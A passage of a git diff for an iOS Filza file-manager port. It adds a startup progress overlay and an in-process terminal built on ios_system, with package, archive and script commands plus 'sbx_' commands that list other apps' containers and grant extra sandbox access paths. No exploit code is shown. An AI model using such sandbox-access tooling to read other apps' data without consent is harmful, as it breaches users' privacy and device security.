NSTextAlignmentCenter; + self.detailLabel.numberOfLines = 3; + [card addSubview:self.detailLabel]; + + CGFloat cardWidth = MIN(340, self.view.bounds.size.width - 48); + [NSLayoutConstraint activateConstraints:@[ + [card.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [card.centerYAnchor constraintEqualToAnchor:self.view.centerYAnchor], + [card.widthAnchor constraintEqualToConstant:cardWidth], + + [iconView.topAnchor constraintEqualToAnchor:card.topAnchor constant:26], + [iconView.centerXAnchor constraintEqualToAnchor:card.centerXAnchor], + [iconView.widthAnchor constraintEqualToConstant:72], + [iconView.heightAnchor constraintEqualToConstant:72], + + [title.topAnchor constraintEqualToAnchor:iconView.bottomAnchor constant:12], + [title.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [title.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + + [subtitle.topAnchor constraintEqualToAnchor:title.bottomAnchor constant:3], + [subtitle.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [subtitle.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + + [self.statusLabel.topAnchor constraintEqualToAnchor:subtitle.bottomAnchor constant:22], + [self.statusLabel.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [self.statusLabel.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + + [self.progressView.topAnchor constraintEqualToAnchor:self.statusLabel.bottomAnchor constant:14], + [self.progressView.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:24], + [self.progressView.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-24], + [self.progressView.heightAnchor constraintEqualToConstant:5], + + [self.percentLabel.topAnchor constraintEqualToAnchor:self.progressView.bottomAnchor constant:6], + [self.percentLabel.centerXAnchor constraintEqualToAnchor:card.centerXAnchor], + + [self.spinner.topAnchor constraintEqualToAnchor:self.percentLabel.bottomAnchor constant:12], + [self.spinner.centerXAnchor constraintEqualToAnchor:card.centerXAnchor], + + [self.detailLabel.topAnchor constraintEqualToAnchor:self.spinner.bottomAnchor constant:10], + [self.detailLabel.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:20], + [self.detailLabel.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-20], + [self.detailLabel.bottomAnchor constraintEqualToAnchor:card.bottomAnchor constant:-22], + ]]; + + __weak typeof(self) weakSelf = self; + NSNotificationCenter *center = NSNotificationCenter.defaultCenter; + id progressObserver = [center addObserverForName:@"WQStartupProgress" + object:nil queue:NSOperationQueue.mainQueue + usingBlock:^(NSNotification *notification) { + [weakSelf applyProgress:notification.userInfo]; + }]; + id finishObserver = [center addObserverForName:@"WQStartupFinished" + object:nil queue:NSOperationQueue.mainQueue + usingBlock:^(NSNotification *notification) { + [weakSelf finish]; + }]; + self.observers = @[progressObserver, finishObserver]; + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 12 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + if (weakSelf.finished) return; + if (weakSelf.lastProgress < 0.9) + weakSelf.detailLabel.text = @"目录较多时首次索引可能需要几十秒,请保持应用在前台。"; + }); +} + +- (void)applyProgress:(NSDictionary *)info +{ + NSNumber *progressValue = info[@"progress"]; + NSString *status = info[@"status"]; + double progress = progressValue.doubleValue; + if (progress > self.lastProgress) self.lastProgress = progress; + if (self.lastProgress > 1.0) self.lastProgress = 1.0; + + if (status.length) self.statusLabel.text = status; + [self.progressView setProgress:(float)MAX(self.lastProgress, 0.02) animated:YES]; + self.percentLabel.text = [NSString stringWithFormat:@"%d%%", + (int)round(self.lastProgress * 100.0)]; + if (progress >= 1.0) { + [self.spinner stopAnimating]; + self.statusLabel.text = @"正在进入 Filza…"; + } +} + +- (void)finish +{ + if (self.finished) return; + self.finished = YES; + [self applyProgress:@{ @"progress": @1.0, @"status": @"准备完成,正在进入 Filza…" }]; + [self.spinner stopAnimating]; + + NSTimeInterval elapsed = [NSDate timeIntervalSinceReferenceDate] - self.shownAt; + NSTimeInterval delay = MAX(0.35, 1.1 - elapsed); + __weak typeof(self) weakSelf = self; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delay * NSEC_PER_SEC)), + dispatch_get_main_queue(), ^{ + UIWindow *overlay = gStartupWindow; + [UIView animateWithDuration:0.28 animations:^{ + overlay.alpha = 0.0; + } completion:^(BOOL completed) { + overlay.hidden = YES; + gStartupWindow = nil; + [UIApplication.sharedApplication setIdleTimerDisabled:NO]; + if (gPreviousKeyWindow) { + [gPreviousKeyWindow makeKeyWindow]; + } else { + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (candidate != overlay && !candidate.hidden) { + [candidate makeKeyWindow]; + break; + } + } + } + gPreviousKeyWindow = nil; + [NSNotificationCenter.defaultCenter + postNotificationName:@"WQStartupUIDidDismiss" object:nil]; + (void)weakSelf; + }]; + }); +} + +- (void)dealloc +{ + for (id observer in self.observers) + [NSNotificationCenter.defaultCenter removeObserver:observer]; +} + +@end + +void WQStartupUIBegin(void) +{ + if (gStartupBegan) return; + gStartupBegan = YES; + + dispatch_async(dispatch_get_main_queue(), ^{ + if (gStartupWindow) return; + gPreviousKeyWindow = UIApplication.sharedApplication.keyWindow; + gStartupWindow = [[UIWindow alloc] initWithFrame:UIScreen.mainScreen.bounds]; + gStartupWindow.windowLevel = UIWindowLevelAlert + 10; + gStartupWindow.backgroundColor = UIColor.blackColor; + NSSet *scenes = UIApplication.sharedApplication.connectedScenes; + for (UIScene *scene in scenes) { + if ([scene isKindOfClass:UIWindowScene.class]) { + gStartupWindow.windowScene = (UIWindowScene *)scene; + break; + } + } + WQStartupViewController *controller = [WQStartupViewController new]; + // Force viewDidLoad so the progress notifications cannot race the + // first report from WQFilzaStart. + (void)controller.view; + gStartupWindow.rootViewController = controller; + gStartupWindow.alpha = 1.0; + [gStartupWindow makeKeyAndVisible]; + [UIApplication.sharedApplication setIdleTimerDisabled:YES]; + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 120 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + WQFilzaStart(); + }); + }); +} diff --git a/WQTerminal.h b/WQTerminal.h new file mode 100644 index 0000000..684d8d5 --- /dev/null +++ b/WQTerminal.h @@ -0,0 +1,18 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Loads the a-Shell mini ios_system runtime and prepares its environment. +FOUNDATION_EXPORT BOOL WQTerminalPrepare(void); + +/// Creates a PTY-backed in-process shell. Returns the master descriptor and +/// writes a harmless fake pid to pidOut (the terminal UI only uses it for a +/// stop button; there is no child process). +FOUNDATION_EXPORT int WQTerminalSpawnShell(int * _Nullable pidOut, + NSString * _Nullable chdirPath); + +/// Runs a terminal self-test when WQ_TEST_TERMINAL is set in the environment. +FOUNDATION_EXPORT void WQTerminalSelfTest(void); +FOUNDATION_EXPORT void WQTerminalPresentTestUI(void); + +NS_ASSUME_NONNULL_END diff --git a/WQTerminal.m b/WQTerminal.m new file mode 100644 index 0000000..cccdf1b --- /dev/null +++ b/WQTerminal.m @@ -0,0 +1,1047 @@ +// +// WQTerminal.m +// FilzaSlop +// +// In-process terminal bridge. Filza's PTY UI normally starts a root helper; +// under normal signing that helper is unavailable and fork() is denied. This +// bridge keeps the same PTY contract but executes commands with a-Shell mini's +// ios_system runtime in a background thread. +// + +#import "WQTerminal.h" +#import "WQPackages.h" +#import "WQFilzaIntegration.h" +#import "WQRespring.h" +#import "WQArchive.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#include +#import +#import +#import +#import +#include +#import +#import +#import +#import +#import + +extern char **environ; + +typedef void (*WQInitializeEnvironmentFn)(void); +typedef int (*WQAddCommandListFn)(NSString *); +typedef int (*WQIosSystemFn)(const char *); +typedef void (*WQIosSetStreamsFn)(FILE *, FILE *, FILE *); +typedef void (*WQIosSetTtyFn)(FILE *); +typedef int (*WQIosSetEnvFn)(const char *, const char *, int); +typedef int (*WQIosSetMiniRootFn)(NSString *); +typedef NSArray *(*WQCommandsAsArrayFn)(void); +typedef void (*WQIosSetDirectoryURLFn)(NSURL *); +typedef void (*WQIosSwitchSessionFn)(const void *); + +static void *gIOSSystemHandle; +static WQInitializeEnvironmentFn iosInitializeEnvironment; +static WQAddCommandListFn iosAddCommandList; +static WQIosSystemFn iosSystem; +static WQIosSetStreamsFn iosSetStreams; +static WQIosSetTtyFn iosSetTty; +static WQIosSetEnvFn iosSetEnv; +static WQIosSetMiniRootFn iosSetMiniRoot; +static WQCommandsAsArrayFn iosCommandsAsArray; +static WQIosSetDirectoryURLFn iosSetDirectoryURL; +static WQIosSwitchSessionFn iosSwitchSession; +static BOOL gPrepared; +static BOOL gPreparing; +static BOOL gIOSAvailable; + +static NSString *WQTerminalRoot(void) +{ + NSString *documents = NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject; + return [documents stringByAppendingPathComponent:@".terminal"]; +} + +static void WQTerminalSetEnvironment(void) +{ + NSString *base = NSBundle.mainBundle.bundlePath; + NSString *root = WQTerminalRoot(); + NSString *resources = [base stringByAppendingPathComponent:@"WQResources"]; + NSString *path = [NSString stringWithFormat: + @"%@/bin:%@/usr/bin:%@/usr/bin:%@/bin:/usr/bin:/bin:/usr/sbin:/sbin", + resources, resources, root, root]; + setenv("PATH", path.UTF8String, 1); + setenv("HOME", NSHomeDirectory().UTF8String, 1); + setenv("TERM", "xterm-256color", 1); + setenv("TERM_PROGRAM", "Filza", 1); + setenv("LANG", "en_US.UTF-8", 1); + setenv("LC_ALL", "en_US.UTF-8", 1); + setenv("TMPDIR", NSTemporaryDirectory().UTF8String, 1); + setenv("TERM_ROOT", root.UTF8String, 1); + if (iosSetEnv) { + iosSetEnv("PATH", path.UTF8String, 1); + iosSetEnv("HOME", NSHomeDirectory().UTF8String, 1); + iosSetEnv("TERM", "xterm-256color", 1); + iosSetEnv("TERM_PROGRAM", "Filza", 1); + iosSetEnv("LANG", "en_US.UTF-8", 1); + iosSetEnv("LC_ALL", "en_US.UTF-8", 1); + iosSetEnv("TMPDIR", NSTemporaryDirectory().UTF8String, 1); + iosSetEnv("TERM_ROOT", root.UTF8String, 1); + iosSetEnv("PERL5LIB", [resources stringByAppendingPathComponent:@"Perl"].UTF8String, 1); + iosSetEnv("MANPATH", [resources stringByAppendingPathComponent:@"man"].UTF8String, 1); + iosSetEnv("MAGICK_CONFIGURE_PATH", + [resources stringByAppendingPathComponent:@"ImageMagick-7"].UTF8String, 1); + iosSetEnv("TERMINFO", [resources stringByAppendingPathComponent:@"terminfo"].UTF8String, 1); + } +} + +BOOL WQTerminalPrepare(void) +{ + if (gPrepared) return gIOSAvailable; + if (gPreparing) return gIOSAvailable; + gPreparing = YES; + + NSString *framework = [NSBundle.mainBundle.bundlePath + stringByAppendingPathComponent:@"Frameworks/ios_system.framework/ios_system"]; + gIOSSystemHandle = dlopen(framework.fileSystemRepresentation, + RTLD_NOW | RTLD_GLOBAL); + if (!gIOSSystemHandle) { + NSLog(@"[Terminal] ios_system dlopen failed: %s", dlerror()); + gPreparing = NO; + gPrepared = YES; + return NO; + } + +#define WQ_LOAD(name) ios##name = (__typeof(ios##name))dlsym(gIOSSystemHandle, "ios_" #name) + iosInitializeEnvironment = (WQInitializeEnvironmentFn)dlsym(gIOSSystemHandle, + "initializeEnvironment"); + iosAddCommandList = (WQAddCommandListFn)dlsym(gIOSSystemHandle, + "addCommandList"); + iosSystem = (WQIosSystemFn)dlsym(gIOSSystemHandle, "ios_system"); + iosSetStreams = (WQIosSetStreamsFn)dlsym(gIOSSystemHandle, "ios_setStreams"); + iosSetTty = (WQIosSetTtyFn)dlsym(gIOSSystemHandle, "ios_settty"); + iosSetEnv = (WQIosSetEnvFn)dlsym(gIOSSystemHandle, "ios_setenv"); + iosSetMiniRoot = (WQIosSetMiniRootFn)dlsym(gIOSSystemHandle, + "ios_setMiniRoot"); + iosCommandsAsArray = (WQCommandsAsArrayFn)dlsym(gIOSSystemHandle, + "commandsAsArray"); + iosSetDirectoryURL = (WQIosSetDirectoryURLFn)dlsym(gIOSSystemHandle, + "ios_setDirectoryURL"); + iosSwitchSession = (WQIosSwitchSessionFn)dlsym(gIOSSystemHandle, + "ios_switchSession"); +#undef WQ_LOAD + + if (!iosSystem || !iosInitializeEnvironment) { + NSLog(@"[Terminal] ios_system symbols missing"); + gPreparing = NO; + gPrepared = YES; + return NO; + } + + WQTerminalSetEnvironment(); + if (iosInitializeEnvironment) iosInitializeEnvironment(); + NSString *dictionary = [NSBundle.mainBundle.bundlePath + stringByAppendingPathComponent:@"commandDictionary.plist"]; + if (iosAddCommandList && [[NSFileManager defaultManager] fileExistsAtPath:dictionary]) + iosAddCommandList(dictionary); + if (iosSetMiniRoot) iosSetMiniRoot(@"/"); + if (iosSetDirectoryURL) + iosSetDirectoryURL([NSURL fileURLWithPath:NSHomeDirectory()]); + + bool *sideLoading = (bool *)dlsym(gIOSSystemHandle, "sideLoading"); + if (sideLoading) *sideLoading = true; + bool *joinMainThread = (bool *)dlsym(gIOSSystemHandle, "joinMainThread"); + if (joinMainThread) *joinMainThread = true; + + NSArray *commands = iosCommandsAsArray ? iosCommandsAsArray() : nil; + NSLog(@"[Terminal] ios_system ready commands=%lu", (unsigned long)commands.count); + gIOSAvailable = YES; + gPreparing = NO; + gPrepared = YES; + return YES; +} + +#pragma mark - Shell context + +@interface WQShellContext : NSObject +@property (nonatomic) int descriptor; +@property (nonatomic, assign) FILE *input; +@property (nonatomic, assign) FILE *output; +@property (nonatomic, assign) FILE *error; +@property (nonatomic, strong) NSMutableArray *history; +@property (nonatomic, copy) NSString *previousDirectory; +@property (nonatomic) BOOL running; +@end + +@implementation WQShellContext +@end + +static void WQShellWrite(WQShellContext *context, const char *text) +{ + if (!text || !*text) return; + write(context.descriptor, text, strlen(text)); +} + +static void WQShellPrintf(WQShellContext *context, NSString *format, ...) +{ + va_list args; + va_start(args, format); + NSString *text = [[NSString alloc] initWithFormat:format arguments:args]; + va_end(args); + WQShellWrite(context, text.UTF8String); +} + +static NSString *WQDisplayDirectory(void) +{ + char buffer[PATH_MAX]; + if (!getcwd(buffer, sizeof(buffer))) return @"?"; + NSString *path = [NSString stringWithUTF8String:buffer]; + NSString *home = NSHomeDirectory(); + if ([path isEqualToString:home]) return @"~"; + if ([path hasPrefix:[home stringByAppendingString:@"/"]]) + return [@"~" stringByAppendingString: + [path substringFromIndex:home.length]]; + return path; +} + +static void WQShellPrompt(WQShellContext *context) +{ + NSString *directory = WQDisplayDirectory(); + if (gIOSAvailable) + WQShellPrintf(context, @"\033[1;32mfilza27.2\033[0m \033[1;34m%s\033[0m$ ", + directory.UTF8String); + else + WQShellPrintf(context, @"filza27.2 %s$ ", directory.UTF8String); + fflush(context.output); +} + +static NSString *WQExpandPath(NSString *value) +{ + if ([value isEqualToString:@"~"]) return NSHomeDirectory(); + if ([value hasPrefix:@"~/"]) + return [NSHomeDirectory() stringByAppendingString: + [value substringFromIndex:1]]; + return value; +} + +static void WQChangeDirectory(WQShellContext *context, NSString *target) +{ + NSString *previous = [NSString stringWithUTF8String:getcwd(NULL, 0) ?: "/"]; + if ([target isEqualToString:@"-"]) target = context.previousDirectory ?: previous; + target = WQExpandPath(target); + if (chdir(target.fileSystemRepresentation) != 0) { + WQShellPrintf(context, @"cd: %s: %s\r\n", target.UTF8String, + strerror(errno)); + return; + } + context.previousDirectory = previous; + char buffer[PATH_MAX]; + if (getcwd(buffer, sizeof(buffer))) + setenv("PWD", buffer, 1); + if (iosSetEnv && getcwd(buffer, sizeof(buffer))) + iosSetEnv("PWD", buffer, 1); +} + +static NSArray *WQSplitCommand(NSString *line) +{ + NSMutableArray *words = [NSMutableArray array]; + NSMutableString *current = [NSMutableString string]; + BOOL singleQuote = NO, doubleQuote = NO, escaped = NO; + for (NSUInteger index = 0; index < line.length; index++) { + unichar character = [line characterAtIndex:index]; + if (escaped) { + [current appendFormat:@"%C", character]; + escaped = NO; + continue; + } + if (character == '\\' && !singleQuote) { + escaped = YES; + continue; + } + if (character == '\'' && !doubleQuote) { + singleQuote = !singleQuote; + continue; + } + if (character == '"' && !singleQuote) { + doubleQuote = !doubleQuote; + continue; + } + if ((character == ' ' || character == '\t') && !singleQuote && !doubleQuote) { + if (current.length) { + [words addObject:current.copy]; + [current setString:@""]; + } + continue; + } + [current appendFormat:@"%C", character]; + } + if (current.length) [words addObject:current.copy]; + return words; +} + +static int WQRunPackages(NSArray *words, FILE *out, FILE *err) +{ + if (words.count == 0) return 1; + NSUInteger count = (NSUInteger)words.count; + char **argv = calloc(count + 1, sizeof(char *)); + for (NSUInteger index = 0; index < count; index++) + argv[index] = strdup(words[index].UTF8String); + argv[count] = NULL; + int result = 127; + NSString *command = words.firstObject; + if ([command isEqualToString:@"dpkg"] || + [command isEqualToString:@"dpkg-deb"]) + result = WQDPKGMain((int)count, argv, out, err); + else + result = WQAptMain((int)count, argv, out, err); + for (NSUInteger index = 0; index < count; index++) free(argv[index]); + free(argv); + return result; +} + +static BOOL WQFallbackCommand(NSArray *words, WQShellContext *context) +{ + if (words.count == 0) return YES; + NSString *command = words.firstObject; + NSFileManager *fm = NSFileManager.defaultManager; + if ([command isEqualToString:@"pwd"]) { + char buffer[PATH_MAX]; + WQShellPrintf(context, @"%s\r\n", getcwd(buffer, sizeof(buffer)) ?: "?"); + return YES; + } + if ([command isEqualToString:@"echo"]) { + NSArray *rest = [words subarrayWithRange:NSMakeRange(1, words.count - 1)]; + WQShellPrintf(context, @"%s\r\n", [rest componentsJoinedByString:@" "].UTF8String); + return YES; + } + if ([command isEqualToString:@"ls"]) { + NSString *path = words.count > 1 ? WQExpandPath(words[1]) : @"."; + NSArray *names = [fm contentsOfDirectoryAtPath:path error:nil]; + if (!names) { + WQShellPrintf(context, @"ls: %s: %s\r\n", path.UTF8String, strerror(errno)); + return YES; + } + for (NSString *name in [names sortedArrayUsingSelector:@selector(localizedStandardCompare:)]) + WQShellPrintf(context, @"%s\r\n", name.UTF8String); + return YES; + } + if ([command isEqualToString:@"cat"]) { + if (words.count < 2) { WQShellPrintf(context, @"cat: missing file\r\n"); return YES; } + NSData *data = [NSData dataWithContentsOfFile:WQExpandPath(words[1])]; + if (data) { + write(context.descriptor, data.bytes, data.length); + WQShellWrite(context, "\r\n"); + } else { + WQShellPrintf(context, @"cat: %s: %s\r\n", words[1].UTF8String, strerror(errno)); + } + return YES; + } + if ([command isEqualToString:@"mkdir"] || [command isEqualToString:@"rm"] || + [command isEqualToString:@"touch"]) { + if (words.count < 2) return YES; + NSString *path = WQExpandPath(words[1]); + NSError *error = nil; + BOOL ok = YES; + if ([command isEqualToString:@"mkdir"]) + ok = [fm createDirectoryAtPath:path withIntermediateDirectories:YES + attributes:nil error:&error]; + else if ([command isEqualToString:@"rm"]) + ok = [fm removeItemAtPath:path error:&error]; + else + ok = [fm createFileAtPath:path contents:nil attributes:nil]; + if (!ok) WQShellPrintf(context, @"%s: %s\r\n", command.UTF8String, + error.localizedDescription.UTF8String); + return YES; + } + if ([command isEqualToString:@"help"] || [command isEqualToString:@"?"]) { + WQShellWrite(context, + "filza27.2 shell commands\r\n" + " cd, pwd, ls, cat, echo, mkdir, rm, touch, clear, exit\r\n" + " apt / apt-get update | list | search | show | install | remove\r\n" + " dpkg -i | -l | -s | -L | -r | --contents\r\n" + " any a-Shell mini command (ls, grep, sed, awk, curl, tar, vim, ...)\r\n"); + return YES; + } + return NO; +} + +static void WQHexDump(WQShellContext *context, NSString *path, NSUInteger limit) +{ + NSData *data = [NSData dataWithContentsOfFile:WQExpandPath(path)]; + if (!data) { + WQShellPrintf(context, @"hexdump: %@: %s\r\n", path, strerror(errno)); + return; + } + NSUInteger length = MIN(data.length, limit); + const uint8_t *bytes = data.bytes; + for (NSUInteger offset = 0; offset < length; offset += 16) { + NSMutableString *line = [NSMutableString stringWithFormat:@"%08lx ", + (unsigned long)offset]; + NSUInteger row = MIN((NSUInteger)16, length - offset); + for (NSUInteger i = 0; i < 16; i++) { + if (i < row) [line appendFormat:@"%02x ", bytes[offset + i]]; + else [line appendString:@" "]; + if (i == 7) [line appendString:@" "]; + } + [line appendString:@" |"]; + for (NSUInteger i = 0; i < row; i++) { + uint8_t c = bytes[offset + i]; + [line appendFormat:@"%c", (c >= 32 && c < 127) ? c : '.']; + } + [line appendString:@"|\r\n"]; + WQShellWrite(context, line.UTF8String); + } +} + +static BOOL WQRunSBXCommand(NSArray *words, WQShellContext *context) +{ + if (words.count == 0) return NO; + NSString *command = words.firstObject; + if ([command isEqualToString:@"sbx_help"]) command = @"sbxhelp"; + if ([command isEqualToString:@"sbx_status"]) { + WQShellPrintf(context, @"hub: %@\r\n", WQVirtualRootFolder()); + WQShellPrintf(context, @"active handles: %lu\r\n", + (unsigned long)WQActiveGrantHandles().count); + for (NSString *root in WQAccessibleRoots()) + WQShellPrintf(context, @" root: %@\r\n", root); + return YES; + } + if ([command isEqualToString:@"sbx_remount"]) { + WQRefreshDiscovery(); + WQShellWrite(context, "sbx_remount: discovery restarted\r\n"); + return YES; + } + if ([command isEqualToString:@"sbx_ls"]) { + NSString *path = words.count > 1 ? WQExpandPath(words[1]) : @"."; + NSError *error = nil; + NSArray *names = [NSFileManager.defaultManager contentsOfDirectoryAtPath:path + error:&error]; + if (!names) { + WQShellPrintf(context, @"sbx_ls: %@: %@\r\n", path, + error.localizedDescription ?: @"unreadable"); + return YES; + } + for (NSString *name in [names sortedArrayUsingSelector: + @selector(localizedStandardCompare:)]) { + NSString *full = [path stringByAppendingPathComponent:name]; + BOOL directory = NO; + [NSFileManager.defaultManager fileExistsAtPath:full isDirectory:&directory]; + WQShellPrintf(context, @"%@%@\r\n", name, directory ? @"/" : @""); + } + return YES; + } + if ([command isEqualToString:@"sbx_cat"]) { + if (words.count < 2) { WQShellWrite(context, "usage: sbx_cat \r\n"); return YES; } + NSData *data = [NSData dataWithContentsOfFile:WQExpandPath(words[1])]; + if (!data) { + WQShellPrintf(context, @"sbx_cat: %@: %s\r\n", words[1], strerror(errno)); + } else { + write(context.descriptor, data.bytes, data.length); + WQShellWrite(context, "\r\n"); + } + return YES; + } + if ([command isEqualToString:@"sbx_cp"]) { + if (words.count < 3) { WQShellWrite(context, "usage: sbx_cp \r\n"); return YES; } + NSError *error = nil; + BOOL ok = [NSFileManager.defaultManager copyItemAtPath:WQExpandPath(words[1]) + toPath:WQExpandPath(words[2]) error:&error]; + if (!ok) WQShellPrintf(context, @"sbx_cp: %@\r\n", + error.localizedDescription ?: @"copy failed"); + else WQShellWrite(context, "sbx_cp: copied\r\n"); + return YES; + } + if ([command isEqualToString:@"sbx_hexdump"]) { + NSUInteger index = 1; + NSUInteger limit = 256; + if (index < words.count && [words[index] isEqualToString:@"-n"]) { + if (index + 1 < words.count) { + limit = (NSUInteger)MAX(1, words[index + 1].integerValue); + index += 2; + } + } + if (index >= words.count) { + WQShellWrite(context, "usage: sbx_hexdump [-n N] \r\n"); + return YES; + } + WQHexDump(context, words[index], limit); + return YES; + } + if ([command isEqualToString:@"sbx_containers"]) { + if (words.count > 1) { + NSString *root = WQExpandPath(words[1]); + NSArray *children = WQChildrenForRoot(root); + WQShellPrintf(context, @"%@: %lu child(ren)\r\n", root, + (unsigned long)children.count); + for (NSString *child in children) + WQShellPrintf(context, @" %@\r\n", child); + } else { + for (NSString *root in WQAccessibleRoots()) + WQShellPrintf(context, @"%@ (%lu)\r\n", root, + (unsigned long)WQChildrenForRoot(root).count); + } + return YES; + } + if ([command isEqualToString:@"sbx_id"]) { + if (words.count < 2) { WQShellWrite(context, "usage: sbx_id \r\n"); return YES; } + NSString *identifier = WQIdentifyContainerPath(WQExpandPath(words[1])); + WQShellPrintf(context, @"%@\r\n", identifier ?: @"(unidentified)"); + return YES; + } + if ([command isEqualToString:@"sbx_grant"]) { + BOOL create = NO; + NSUInteger index = 1; + if (index < words.count && [words[index] isEqualToString:@"-c"]) { + create = YES; index++; + } + if (index >= words.count) { + WQShellWrite(context, "usage: sbx_grant [-c] \r\n"); + return YES; + } + NSString *path = WQExpandPath(words[index]); + if (WQGrantExtraPath(path, create)) + WQShellPrintf(context, @"sbx_grant: ok %@\r\n", path); + else + WQShellPrintf(context, @"sbx_grant: failed %@\r\n", path); + return YES; + } + if ([command isEqualToString:@"sbx_release"]) { + if (words.count < 2) { WQShellWrite(context, "usage: sbx_release \r\n"); return YES; } + if ([words[1] isEqualToString:@"all"]) { + WQReleaseAllGrants(); + WQShellWrite(context, "sbx_release: released all\r\n"); + } else { + NSNumber *handle = @(words[1].longLongValue); + WQReleaseGrantHandle(handle); + WQShellPrintf(context, @"sbx_release: %@\r\n", words[1]); + } + return YES; + } + return NO; +} + +static void WQPrintMounts(WQShellContext *context) +{ + struct statfs *mounts = NULL; + int count = getmntinfo(&mounts, MNT_NOWAIT); + if (count <= 0) { + WQShellPrintf(context, @"mount: %s\r\n", strerror(errno)); + return; + } + for (int index = 0; index < count; index++) { + NSString *source = [NSString stringWithUTF8String: + mounts[index].f_mntfromname]; + NSString *target = [NSString stringWithUTF8String: + mounts[index].f_mntonname]; + NSString *type = [NSString stringWithUTF8String: + mounts[index].f_fstypename]; + NSMutableArray *flags = [NSMutableArray array]; + [flags addObject:(mounts[index].f_flags & MNT_RDONLY) + ? @"read-only" : @"read-write"]; + if (mounts[index].f_flags & MNT_LOCAL) [flags addObject:@"local"]; + if (mounts[index].f_flags & MNT_NOSUID) [flags addObject:@"nosuid"]; + if (mounts[index].f_flags & MNT_NODEV) [flags addObject:@"nodev"]; +#ifdef MNT_DONTBROWSE + if (mounts[index].f_flags & MNT_DONTBROWSE) [flags addObject:@"nobrowse"]; +#endif + WQShellPrintf(context, @"%@ on %@ (%@, %@)\r\n", source, target, type, + [flags componentsJoinedByString:@", "]); + } +} + +static BOOL WQRunArchiveCommand(NSArray *words, + WQShellContext *context) +{ + if (words.count == 0) return NO; + NSString *command = words.firstObject; + if (![command isEqualToString:@"extract"] && + ![command isEqualToString:@"unarchive"] && + ![command isEqualToString:@"unzip"] && + ![command isEqualToString:@"untar"] && + ![command isEqualToString:@"un7z"] && + ![command isEqualToString:@"unrar"]) + return NO; + + NSMutableArray *arguments = [NSMutableArray array]; + NSString *destination = nil; + for (NSUInteger index = 1; index < words.count; index++) { + NSString *word = words[index]; + if (([word isEqualToString:@"-C"] || [word isEqualToString:@"-d"]) && + index + 1 < words.count) { + destination = WQExpandPath(words[++index]); + } else { + [arguments addObject:word]; + } + } + if (arguments.count == 0) { + WQShellPrintf(context, + @"usage: %@ [-C ]\r\n", command); + return YES; + } + NSString *archive = WQExpandPath(arguments[0]); + if (!destination && arguments.count > 1) + destination = WQExpandPath(arguments[1]); + if (!destination) + destination = WQDefaultExtractDestination(archive); + + NSString *message = nil; + BOOL ok = WQExtractArchive(archive, destination, &message); + WQShellPrintf(context, @"%@\r\n", message ?: + (ok ? @"extract: ok" : @"extract: failed")); + return YES; +} + +static NSString *WQSingleQuote(NSString *value) +{ + NSString *escaped = [value stringByReplacingOccurrencesOfString:@"'" + withString:@"'\\''"]; + return [NSString stringWithFormat:@"'%@'", escaped]; +} + +static BOOL WQRunExternalExecutable(NSArray *words, + WQShellContext *context) +{ + if (words.count == 0) return NO; + NSString *command = words.firstObject; + if (![command containsString:@"/"] && ![command hasPrefix:@"."]) return NO; + NSString *path = WQExpandPath(command); + + struct stat info; + if (stat(path.fileSystemRepresentation, &info) != 0) { + WQShellPrintf(context, @"%s: %s\r\n", command.UTF8String, + strerror(errno)); + return YES; + } + if (!S_ISREG(info.st_mode) || !(info.st_mode & S_IXUSR)) { + WQShellPrintf(context, @"%s: permission denied\r\n", command.UTF8String); + return YES; + } + + // Scripts are executed inside the bundled dash. Executing a new Mach-O + // from the data container is rejected by the sandbox on iOS. + char shebang[3] = {0}; + int head = open(path.fileSystemRepresentation, O_RDONLY); + if (head >= 0) { + read(head, shebang, 2); + close(head); + } + if (shebang[0] == '#' && shebang[1] == '!') { + if (!iosSystem) { + WQShellWrite(context, "dash: unavailable\r\n"); + return YES; + } + NSMutableString *line = [NSMutableString stringWithString:@"dash "]; + [line appendString:WQSingleQuote(path)]; + for (NSUInteger index = 1; index < words.count; index++) { + [line appendString:@" "]; + [line appendString:WQSingleQuote(words[index])]; + } + iosSystem(line.UTF8String); + fflush(context.output); + return YES; + } + + posix_spawn_file_actions_t actions; + posix_spawn_file_actions_init(&actions); + posix_spawn_file_actions_adddup2(&actions, fileno(context.output), + STDOUT_FILENO); + posix_spawn_file_actions_adddup2(&actions, fileno(context.error), + STDERR_FILENO); + + NSUInteger count = words.count; + char **argv = calloc(count + 1, sizeof(char *)); + if (!argv) { + posix_spawn_file_actions_destroy(&actions); + return YES; + } + for (NSUInteger index = 0; index < count; index++) + argv[index] = strdup(words[index].UTF8String); + argv[count] = NULL; + + pid_t pid = 0; + int result = posix_spawn(&pid, path.fileSystemRepresentation, + &actions, NULL, argv, environ); + posix_spawn_file_actions_destroy(&actions); + for (NSUInteger index = 0; index < count; index++) free(argv[index]); + free(argv); + + if (result != 0) { + NSLog(@"[Exec] posix_spawn %@ failed: %s (%d)", path, + strerror(result), result); + WQShellPrintf(context, @"%s: %s (data-container binaries cannot be " + @"executed; use a shell script)\r\n", command.UTF8String, + strerror(result)); + return YES; + } + int status = 0; + waitpid(pid, &status, 0); + fflush(context.output); + return YES; +} + +static void WQPrintNeofetch(WQShellContext *context) +{ + struct utsname info; + uname(&info); + NSString *device = @"iPhone"; + size_t size = 0; + if (sysctlbyname("hw.machine", NULL, &size, NULL, 0) == 0 && size > 0) { + char *machine = calloc(1, size); + if (machine && sysctlbyname("hw.machine", machine, &size, NULL, 0) == 0) + 